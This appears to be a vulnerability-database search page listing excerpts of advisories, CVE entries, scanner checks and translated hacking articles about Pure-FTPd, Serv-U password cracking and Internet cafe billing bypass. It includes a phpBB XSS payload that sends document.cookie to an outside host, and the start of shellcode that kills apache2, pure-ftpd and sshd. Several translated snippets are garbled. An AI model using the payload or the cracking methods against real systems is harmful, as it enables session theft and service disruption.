Unfixed XSS vulnerability at www.pure-red.com

Security researcher gamoscu, has submitted on 03/11/2009 a cross-site-scripting XSS vulnerability affecting www.pure-red.com, which at the time of submission ranked 4626675 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/07/2010. It is...

Use Md5Crack crack Serv-U password-vulnerability warning-the black bar safety net

Look at ServU password encryption storage method First randomly generate a 2-bit charactersfrom a-z lowercase characters. Then the user's original password with this 2-bit random character merge to become the new password character. Such as: the user's original password is a,The randomly generate...

Linux/x86 - Kill service apache2 + pure-ftpd + sshd - 81 bytes

No description provided by source. / Linux x86 | Kill Service - Apache2 - Pure-Ftpd - sshd Shellcode 81 bytes Auhtor: Jonathan Salwan js.rac.projet AT gmail.com Web: http://www.shell-storm.org Disassembly of section .text: 08048060 start: 8048060: 6a 0b push $0xb 8048062: 58 pop %eax 8048063: 99...

Fedora Update for squirrelmail FEDORA-2008-9071

Check for the Version of squirrelmail OpenVAS Vulnerability Test Fedora Update for squirrelmail FEDORA-2008-9071 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

Gentoo Security Advisory GLSA 200407-04 (Pure-FTPd)

The remote host is missing updates announced in advisory GLSA 200407-04. OpenVAS Vulnerability Test $ Description: Auto generated from Gentoo's XML based advisory Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc. http://www.securityspace.com Text descriptions are largely excerpted fr...

Gentoo Security Advisory GLSA 200407-04 (Pure-FTPd)

The remote host is missing updates announced in advisory GLSA 200407-04. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Pure Software Lore before 1.7.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the 1 article comments feature and the 2 search log feature...

CVE-2008-3353

Multiple cross-site scripting XSS vulnerabilities in Pure Software Lore before 1.7.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the 1 article comments feature and the 2 search log feature...

CVE-2008-3353

CVE-2008-3353 affects Pure Software Lore, prior to version 1.7.0. The Connected PT-2008-4758 entry documents multiple cross-site scripting (XSS) vulnerabilities in the article comments feature and the search log feature, allowing remote attackers to inject arbitrary web script or HTML. Root cause...

CVE-2008-3353

Multiple cross-site scripting XSS vulnerabilities in Pure Software Lore before 1.7.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the 1 article comments feature and the 2 search log feature...

CVE-2008-3353: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in Pure Software Lore before 1.7.0 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the 1 article comments feature and the 2 search log feature...

Code injection

Sophos virus detection engine 2.75 on Linux and Unix, as used in Sophos Email Appliance, Pure Message for Unix, and Sophos Anti-Virus Interface SAVI, allows remote attackers to cause a denial of service engine crash via zero-length MIME attachments...

CVE-2008-3177: Undefined Security Weakness

Sophos virus detection engine 2.75 on Linux and Unix, as used in Sophos Email Appliance, Pure Message for Unix, and Sophos Anti-Virus Interface SAVI, allows remote attackers to cause a denial of service engine crash via zero-length MIME attachments...

Modifications introduced into the table to create penetration KIS6 download-vulnerability warning-the black bar safety net

Article author: gyzy E. S. T it www.gyzy.org） Information source: evil octal information security team www.eviloctal.com） This article has been published in the hacker line of Defense of the 2 0 0 7 year 2 monthly. The author and the hacker line of Defense on the retention of copyright, reproduce...

MD5 decrypt of the most fast method-vulnerability warning-the black bar safety net

In General, shaped like a 1e4dc79d489e86b2 the 1 6-bit or 3 2-bit password is the MD5 encrypted, of course, there are also special, such as the DVBBS on the landing when will first produce a 1 6-bit random password,of course, the password or the MD5 password in the form of a little difference, th...

Easily get to the cafe-the new Internet cafe billing management system---punwin-vulnerability warning-the black bar safety net

| Mae ping and Vientiane is already the past, now there is the emergence of some new Internet cafe billing management system---punwin, Oh, in the online search a bit on the crack pubwin of the method, how? Is not few and far between for? We here opened a new cafe, just a billing management system...

phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure

phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure / phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...

FreeBSD : pure-ftpd (2410)

The following package needs to be updated: pure-ftpd %NASLMINLEVEL 70300 C Tenable Network Security, Inc. This script contains information extracted from VuXML : Copyright 2003-2006 Jacques Vidrine and contributors Redistribution and use in source VuXML and 'compiled' forms SGML, HTML, PDF,...

GLSA-200407-04 : Pure-FTPd: Potential DoS when maximum connections is reached

The remote host is affected by the vulnerability described in GLSA-200407-04 Pure-FTPd: Potential DoS when maximum connections is reached Pure-FTPd contains a bug in the acceptclient function handling the setup of new connections. Impact : When the maximum number of connections is reached an...

Pure-FTPd: Potential DoS when maximum connections is reached

Background Pure-FTPd is a fast, production-quality and standards-compliant FTP server. Description Pure-FTPd contains a bug in the acceptclient function handling the setup of new connections. Impact When the maximum number of connections is reached an attacker could exploit this vulnerability to...